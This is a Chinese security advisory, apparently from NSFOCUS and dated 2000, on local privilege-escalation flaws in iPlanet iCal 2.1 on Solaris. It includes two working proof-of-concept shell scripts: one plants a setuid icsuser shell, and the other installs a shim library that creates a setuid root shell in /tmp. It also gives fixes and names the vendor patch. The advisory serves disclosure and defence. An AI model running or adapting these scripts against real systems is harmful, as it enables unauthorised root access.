首页 -> 安全研究
安全研究
安全漏洞
iCal 2.1/Solaris 存在多个安全漏洞
发布日期:2000-10-10
更新日期:2000-10-10
受影响系统:
描述:
iPlanet's iCal version 2.1 Patch 2
- Solaris 2.6/7
iPlanet软件包中的iCal是跨平台的日历服务器。
1) 有两种安装方式,一种是图形方式,一种是命令行方式。当采用图形方式安装时,
默认情况下会执行"xhost -"命令,导致所在主机X Server访问控制被取消。如果
执行安装脚本时指定'-nodisplay'选项,就会避免该问题。
2) 安装完成后,有289个文件属性是0777,而下面这个文件
-rwxrwxrwx 1 icsuser icsgroup /opt/SUNWicsrv/cal/bin/iplncal.sh
在系统启动、关机时会被root执行到。在Solaris系统上,
/etc/rc3.d/S94sunwicsrv执行/etc/iplncal.sh,后者是到
/opt/SUNWicsrv/cal/bin/iplncal.sh的符号链接。
管理员应该修改这个文件的属性,并将属主改为root,同时最好将
/opt/SUNWicsrv/cal/bin目录的属主改为root
3) /opt/SUNWicsrv/cal/bin/csstart执行过程中会调用执行者当前目录的cshttpd脚
本。前者本来是setuid-to-root的,当调用后者的时候euid将事先转换到普通用
户,由于设计错误,euid被固定地转换成icsuser用户。于是普通用户可以先利用
这个缺陷获取icsuser用户权限,进一步修改iCal安装目录下的其他文件,如果2)
中没有更改/opt/SUNWicsrv/cal/bin目录的属主,攻击者还是能够获取root权限。
4) 用truss工具跟踪csstart的执行过程
7703: open("./libsocket.so.1", O_RDONLY) Err#2 ENOENT
7703: open("../lib/libsocket.so.1", O_RDONLY) Err#2 ENOENT
7703: open("/usr/lib/libsocket.so.1", O_RDONLY) = 4
7703: open("./libnsl.so.1", O_RDONLY) Err#2 ENOENT
7703: open("../lib/libnsl.so.1", O_RDONLY) Err#2 ENOENT
7703: open("/usr/lib/libnsl.so.1", O_RDONLY) = 4
如果我们在安装目录下放入自己的库文件,则其中的代码将以root身份执行。
<* 来源:Silicosis (silicosis@atstake.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
下面是两个测试脚本,第一个用于获取icsuser权限,第二个用于获取root权限。
[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
# -sili@atstake.com
#
INSTDIR=`cat /etc/iplncal.conf`
cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO
chmod 755 ./cshttpd
echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null
sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]
[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell.
#
# -sili@atstake.com
#
INSTDIR=`cat /etc/iplncal.conf`
#######
#Create the shim library..
cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
setuid(0);
execl("./icalroot","icalroot",0);
return 0;
}
FOEFOE
#####
#create the shell script we'll be executing as root..
cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
FOOFOO
#####
#make sure script is executable; compile library & put in place..
#otgpdvt
chmod 755 $INSTDIR/cal/bin/icalroot
gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi libsushi.c
cp ./libsushi $INSTDIR/cal/bin/libsocket.so.1
sleep 1
ls -l $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot
echo ".. Now wait for the iCal service to start up again"
[end: obtain-root.sh]
建议:
临时解决办法:
NSFOCUS建议您暂时删除iCal包或者按照漏洞描述中的内容进行临时修复。
厂商补丁:
Netscape公司提供了补丁 iCS 2.1 Patch-04 Release
浏览次数:5982
严重程度:0(网友投票)
绿盟科技给您安全的保障